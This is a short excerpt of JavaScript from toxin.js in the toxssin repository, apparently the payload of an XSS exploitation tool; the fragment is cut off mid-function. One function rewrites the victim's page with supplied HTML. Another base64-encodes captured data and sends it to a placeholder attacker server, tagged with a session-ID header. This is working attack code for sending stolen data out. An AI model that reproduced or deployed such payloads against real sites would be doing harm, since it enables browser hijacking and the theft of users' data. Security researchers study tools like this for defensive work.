INNER CODE UNIT · JavaScript
rewriteDocument
t3l3machus/toxssin · toxin.js:24
function rewriteDocument(html) {
var doc = document.open("text/html");
doc.write(html);
doc.close();
};
function xhr_get_intercept(capture, r = false) {
let xhttp = new XMLHttpRequest();
xhttp.open("GET", `*TOXSSIN_SERVER*/${btoa(capture)}`, true);
xhttp.setRequestHeader('X-toxssin-id', '*SESSIONID*');
xhttp.send();
if (r) {
return xhttp;
}